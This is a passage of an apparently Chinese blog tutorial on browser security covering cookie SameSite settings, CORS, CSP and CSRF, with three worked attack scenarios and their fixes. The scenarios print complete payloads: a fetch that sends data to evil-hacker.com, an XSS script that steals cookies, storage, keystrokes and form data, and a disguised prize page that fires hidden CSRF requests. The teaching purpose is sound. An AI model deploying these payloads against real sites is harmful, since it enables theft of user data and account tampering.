httpOnly: true, // 防止XSS读取Cookie
secure: true, // 仅HTTPS传输
sameSite: 'strict', // 严格的SameSite策略
maxAge: 24 * 60 * 60 * 1000 // 24小时过期
}
}));

// 不同SameSite值的含义和使用场景
const cookieSettings = {
// 1. Strict: 最严格,完全阻止跨站发送
strict: {
sameSite: 'strict',
// 适用场景:银行、支付等高安全要求的网站
// 缺点:从外部链接访问时可能需要重新登录
},

// 2. Lax: 默认值,允许部分跨站场景
lax: {
sameSite: 'lax',
// 适用场景:大多数网站的默认选择
// 允许:从外部链接的GET请求
// 阻止:跨站的POST、PUT、DELETE请求
},

// 3. None: 允许所有跨站发送(需要Secure)
none: {
sameSite: 'none',
secure: true, // 必须配合secure使用
// 适用场景:嵌入式应用、第三方集成
}
};

SameSite Cookie的限制

  • 🚫 Strict模式:从外部链接访问时需要重新登录
  • ✅ Lax模式:平衡安全性和用户体验的最佳选择
  • ⚠️ None模式:必须配合HTTPS使用

🎯 总结与最佳实践

💡 浏览器安全核心要点

  1. 多层防护:不要依赖单一安全机制,要构建纵深防御体系
  2. 输入验证:永远不要信任用户输入,所有数据都要进行验证和过滤
  3. 最小权限:只给予必要的权限,限制不必要的跨域访问
  4. 持续监控:建立安全监控和告警机制,及时发现异常行为

⚠️ 常见安全误区

  1. 过度依赖前端验证:前端验证只是用户体验优化,真正的安全验证必须在后端
  2. CORS配置过于宽松Access-Control-Allow-Origin: * 是极其危险的配置
  3. 忽视CSP策略:CSP是防止XSS攻击的有力工具,不应该被忽视
  4. Cookie安全配置不当:HttpOnly、Secure、SameSite等属性都很重要

安全防护建议

开发阶段

设计安全的架构

  • 制定安全编码规范
  • 选择安全的框架和库
  • 设计合理的权限控制体系

实现阶段

落实安全措施

  • 实施输入验证和输出编码
  • 配置CSRF防护机制
  • 部署CSP内容安全策略
  • 设置安全的Cookie属性

测试阶段

进行安全测试

  • 进行渗透测试
  • 使用安全扫描工具
  • 模拟各种攻击场景

运维阶段

持续安全监控

  • 监控异常访问行为
  • 分析安全日志
  • 及时更新安全补丁
  • 制定应急响应预案

🚀 进阶学习建议

  1. 实践为主:在测试环境中尝试各种攻击和防护手段
  2. 关注安全动态:订阅安全资讯,了解最新的攻击手法
  3. 学习安全工具:掌握常用的安全测试和监控工具
  4. 参与安全社区:与其他安全专家交流经验和最佳实践

浏览器安全是一个复杂而重要的topic,需要我们在开发的每个环节都保持安全意识。通过理解这些核心概念和实践防护措施,我们可以构建更加安全可靠的Web应用。🛡️


🎯 实战演练:安全攻防场景分析

💡 学以致用

理论知识学完了,现在通过几个真实的攻防场景来检验你的理解程度。每个场景都包含完整的攻击代码和分析过程,帮你建立实战思维。

🎮 挑战场景

🎯 场景一 - 私有API数据窃取攻击

🏛️ 情景设定

目标网站: 私有笔记应用API https://api.securenote.com/v1/notes/1
认证方式: Cookie身份认证
CORS配置: Access-Control-Allow-Origin: https://app.securenote.com
攻击者: 钓鱼网站 https://evil-hacker.com

💀 攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 在 https://evil-hacker.com 上执行的恶意代码
async function stealPrivateNotes() {
try {
// 攻击者试图读取用户的私有笔记
const response = await fetch('https://api.securenote.com/v1/notes/1', {
credentials: 'include', // 强制携带Cookie
method: 'GET'
});

// 尝试读取响应内容
const sensitiveData = await response.text();

// 如果成功,发送到攻击者服务器
await fetch('https://evil-hacker.com/steal', {
method: 'POST',
body: JSON.stringify({
stolenData: sensitiveData,
victim: document.referrer,
timestamp: Date.now()
})
});

console.log('✅ 攻击成功!数据已窃取');
} catch (error) {
console.log('❌ 攻击失败:', error.message);
}
}

// 页面加载时自动执行攻击
stealPrivateNotes();

🤔 思考题

  • 这个攻击能成功吗?
  • 如果失败,是哪个安全机制起了作用?

🔍 结果分析
攻击结果: ❌ 失败
防护机制: CORS (跨域资源共享)

详细过程:

  1. 请求发送: 浏览器正常发送请求,并携带用户的Cookie
  2. 服务器响应: API服务器验证Cookie后返回笔记数据
  3. CORS检查: 浏览器检查响应头 Access-Control-Allow-Origin: https://app.securenote.com
  4. 访问拒绝: 发现请求来源 https://evil-hacker.com 不在白名单中
  5. 阻止读取: 浏览器阻止JavaScript读取响应内容,攻击失败

关键点: 请求会发送,但响应内容无法被读取!

🎯 场景二 - CSP配置错误导致的XSS攻击

🏛️ 情景设定

目标网站: 博客评论系统 https://blog.com/post/1
XSS漏洞: 评论区未过滤 <script> 标签
CSP配置: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
攻击方式: 存储型XSS攻击

💀 攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!-- 攻击者提交的恶意评论内容 -->
<div class="comment">
<p>这是一条正常的评论内容...</p>

<!-- 隐藏的恶意脚本 -->
<script>
// Cookie窃取攻击
(function() {
const stolenData = {
cookies: document.cookie,
url: window.location.href,
userAgent: navigator.userAgent,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage)
};

// 通过图片请求发送数据(绕过CORS)
const img = new Image();
img.src = 'https://evil-hacker.com/collect?' +
btoa(JSON.stringify(stolenData));

// 键盘记录器
document.addEventListener('keydown', function(e) {
const keyData = {
key: e.key,
target: e.target.tagName,
value: e.target.value,
timestamp: Date.now()
};

const logImg = new Image();
logImg.src = 'https://evil-hacker.com/keylog?' +
btoa(JSON.stringify(keyData));
});

// 表单劫持
document.querySelectorAll('form').forEach(form => {
form.addEventListener('submit', function(e) {
const formData = new FormData(form);
const data = Object.fromEntries(formData.entries());

const stealImg = new Image();
stealImg.src = 'https://evil-hacker.com/forms?' +
btoa(JSON.stringify(data));
});
});
})();
</script>
</div>

🤔 思考题

  • 这个XSS攻击能成功执行吗?
  • CSP配置哪里出现了问题?

🔍 结果分析
攻击结果: ✅ 成功
失败原因: CSP配置错误

问题分析:

  1. XSS注入成功: 网站未过滤 <script> 标签
  2. CSP配置失误: 'unsafe-inline' 允许执行内联脚本
  3. 攻击执行: 恶意代码被当作合法脚本执行
  4. 数据窃取: 成功获取Cookie、本地存储等敏感信息
  5. 持续监控: 键盘记录和表单劫持正常工作

正确防护:

1
2
3
4
5
<!-- ✅ 安全的CSP配置 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-random123';
object-src 'none';">

🎯 场景三 - HTTP方法配置错误的CSRF攻击

🏛️ 情景设定

目标网站: 社交应用 https://socialapp.com/api/delete_photo
认证方式: Cookie认证
API设计缺陷: 删除操作同时支持GET和POST方法
CSRF防护: 仅在POST请求中验证Token,GET请求未验证
攻击页面: https://evil-hacker.com/trap.html

💀 攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<!DOCTYPE html>
<html>
<head>
<title>🎁 恭喜中奖!</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
background: linear-gradient(45deg, #ff6b6b, #4ecdc4);
color: white;
}
.prize-box {
background: white;
color: #333;
padding: 30px;
border-radius: 15px;
margin: 50px auto;
max-width: 500px;
box-shadow: 0 10px 30px rgba(0,0,0,0.3);
}
</style>
</head>
<body>
<div class="prize-box">
<h1>🎉 恭喜您中奖了!</h1>
<p>您获得了价值1000元的奖品!</p>
<p>正在为您处理奖品...</p>

<!-- 进度条动画,分散用户注意力 -->
<div style="background: #ddd; border-radius: 10px; overflow: hidden; margin: 20px 0;">
<div id="progress" style="background: #4ecdc4; height: 20px; width: 0%; transition: width 3s;"></div>
</div>

<p id="status">正在验证身份...</p>
</div>

<!-- 隐藏的恶意攻击 -->
<!-- 1. 删除用户珍贵的照片 -->
<img src="https://socialapp.com/api/delete_photo?album_id=family_photos" style="display:none;">
<img src="https://socialapp.com/api/delete_photo?album_id=wedding_photos" style="display:none;">
<img src="https://socialapp.com/api/delete_photo?album_id=baby_photos" style="display:none;">

<!-- 2. 修改用户资料 -->
<img src="https://socialapp.com/api/update_profile?bio=已被黑客攻击&email=hacker@evil.com" style="display:none;">

<!-- 3. 批量关注攻击者账号 -->
<img src="https://socialapp.com/api/follow?user_id=hacker1" style="display:none;">
<img src="https://socialapp.com/api/follow?user_id=hacker2" style="display:none;">

<script>
// 制造真实的中奖体验
let progress = 0;
const progressBar = document.getElementById('progress');
const status = document.getElementById('status');

const statusTexts = [
'正在验证身份...',
'正在检查奖品库存...',
'正在生成兑奖码...',
'处理完成!奖品将在3-5个工作日内发放'
];

const interval = setInterval(() => {
progress += 25;
progressBar.style.width = progress + '%';
status.textContent = statusTexts[progress/25 - 1];

if (progress >= 100) {
clearInterval(interval);
setTimeout(() => {
status.innerHTML = '<strong>🎊 恭喜!您的奖品正在路上</strong>';
}, 1000);
}
}, 800);
</script>
</body>
</html>

🤔 思考题

  • 用户访问这个页面后会发生什么?
  • 哪些安全机制失效了?

🔍 结果分析
攻击结果: ✅ 成功
失败原因: CSRF防护不完整

攻击过程:

  1. 用户访问: 用户点击恶意链接,看到精美的中奖页面
  2. 自动攻击: 隐藏的 <img> 标签自动发送恶意请求
  3. Cookie携带: 浏览器自动携带用户在社交应用的Cookie
  4. 服务器处理: 服务器认为是用户本人的合法操作
  5. 攻击成功: 用户的照片被删除,资料被修改,关注了攻击者

防护失效原因:

  • ❌ 状态修改操作使用了GET方法
  • ❌ GET请求未验证CSRF Token
  • ❌ 未检查Referer头部

正确防护:

1
2
3
4
5
6
7
// ✅ 正确的API设计
app.post('/api/delete_photo', csrfProtection, (req, res) => {
// 1. 必须使用POST方法
// 2. 验证CSRF Token
// 3. 验证Referer头
// 4. 二次确认(敏感操作)
});

🏆 实战总结

✨ 关键收获

通过这三个实战场景,我们可以得出以下重要结论:

  1. 防护是多层的: 单一安全机制容易被绕过,需要多重防护
  2. 配置很关键: 错误的配置比没有配置更危险
  3. 攻击很隐蔽: 真实攻击往往包装得很精美,用户难以察觉
  4. 细节决定成败: 一个小的配置错误就可能导致整个防护体系失效

🛡️ 防护建议

  1. 定期审核: 定期检查和更新安全配置
  2. 最小权限: 只给予必要的权限,严格控制访问范围
  3. 多层验证: 重要操作需要多重验证机制
  4. 持续监控: 建立完善的安全监控和告警系统
  5. 用户教育: 提高用户的安全意识,识别钓鱼攻击